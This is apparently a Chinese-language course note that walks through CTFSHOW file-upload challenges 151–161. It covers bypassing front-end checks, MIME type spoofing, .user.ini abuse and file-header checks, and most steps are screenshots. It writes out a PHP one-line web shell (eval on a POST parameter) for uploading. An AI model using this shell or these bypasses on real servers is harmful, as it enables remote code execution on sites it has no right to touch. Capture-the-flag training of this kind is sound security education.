知识点:
1、文件上传-前端验证
2、文件上传-黑白名单
3、文件上传-user.ini妙用
4、文件上传-php语言特性
详细点:
1、检测层面:前端,后端等
2、检测内容:文件头,完整型,二次渲染等
3、检测后缀:黑名单,白名单,MIME检测等
4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等
本章课程内容:
1、文件上传-CTF赛题知识点
2、文件上传-中间件解析&编辑器安全
3、文件上传-实例CMS文件上传安全分析
前置:
后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外),
如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门
演示案例:
CTFSHOW-文件上传-151到161关卡
google hackbar安装
1、
修改后缀png为php,即可上传后缀为php的文件。
<?php eval($_POST[x]);?>
![](https://i-blog.csdnimg.cn/direct/d03500fcca9f48c1aa1b049124a3a24c.png)
2、
修改后缀jpg为png后也不能上传(MIME校验)
后端代码验证的content-type,通过抓包修改php的content-type为jpg的img/png
3、
phP大写,不能被执行,只能下载
![](https://i-blog.csdnimg.cn/direct/a7bf6f00c1564c348ca9335a2c97f4dc.png)
user.ini
![](https://i-blog.csdnimg.cn/direct/8cf102f46ce8498a90f27d827f9aa4c0.png)
![](https://i-blog.csdnimg.cn/direct/f41c346a53f043559e9b1aae71232525.png)
![](https://i-blog.csdnimg.cn/direct/048648ea7e37484fbf2fc0acc598b9b3.png)
![](https://i-blog.csdnimg.cn/direct/4f9f2d0d3342460a9ab6df995f58cc2d.png)
![](https://i-blog.csdnimg.cn/direct/8d45d1ff345449a18279b1e7c858776d.png)
![](https://i-blog.csdnimg.cn/direct/2de154d3dfc0408f8ece68432d5cfabf.png)
只限制了php文件,没有限制.ini文件
![](https://i-blog.csdnimg.cn/direct/4fa88d1360024247b173870b4f026b40.png)
![](https://i-blog.csdnimg.cn/direct/2c1a1a8822df44f988660a989744a57e.png)
需要在index.php中调用到.user.ini,使.user.ini生效。
4、
内容过滤
![](https://i-blog.csdnimg.cn/direct/1fece50bcafe4a2a93d03fe971e6ab84.png)
![](https://i-blog.csdnimg.cn/direct/d26b4b78a0494d23b1f3b2637003b107.png)
![](https://i-blog.csdnimg.cn/direct/9abe88bec34e4af6a70de063a0a9b7a2.png)
6、
7、
![](https://i-blog.csdnimg.cn/direct/b264df6656bd4f7b865b72c50cbe86cf.png)
8、
![](https://i-blog.csdnimg.cn/direct/ba98a73160564b38ab96a52707751ef1.png)
9、
![](https://i-blog.csdnimg.cn/direct/c4c37ad76bc0461eb4de1059181beced.png)
![](https://i-blog.csdnimg.cn/direct/197848eef5f64af786b73814bc1d5767.png)
10、
![](https://i-blog.csdnimg.cn/direct/d7f5347384e44e6a92913203877807fd.png)
![](https://i-blog.csdnimg.cn/direct/126c8cda8318489d9cb78893796b593b.png)
![](https://i-blog.csdnimg.cn/direct/411d9b12fc6d477eaa56eb0f4f06a318.png)
![](https://i-blog.csdnimg.cn/direct/a5a9d98b5ded429d949f95104541ea4d.png)
![](https://i-blog.csdnimg.cn/direct/7978d978b02643efa7792ddf3425be5c.png)
![](https://i-blog.csdnimg.cn/direct/56b1a93254394204be9f0bf3affe97c6.png)
![](https://i-blog.csdnimg.cn/direct/9b5d19fbc31249b8bc9a50de85ac25df.png)
11、验证文件头,如png、GIF89a
![](https://i-blog.csdnimg.cn/direct/2b2b5f7999164c8eb0cc3e006661af28.png)
![](https://i-blog.csdnimg.cn/direct/407e84ec785247fab49b71f7e0f02779.png)
![](https://i-blog.csdnimg.cn/direct/9a154bbe899541d4813b0c40c7bcd781.png)
![](https://i-blog.csdnimg.cn/direct/b1f8c434ff19441489cb9b13473831ff.png)
![](https://i-blog.csdnimg.cn/direct/d13509579a864c8bb13951db6cd850a3.png)
![](https://i-blog.csdnimg.cn/direct/a8531eb7148644a3bb119ee754deb737.png)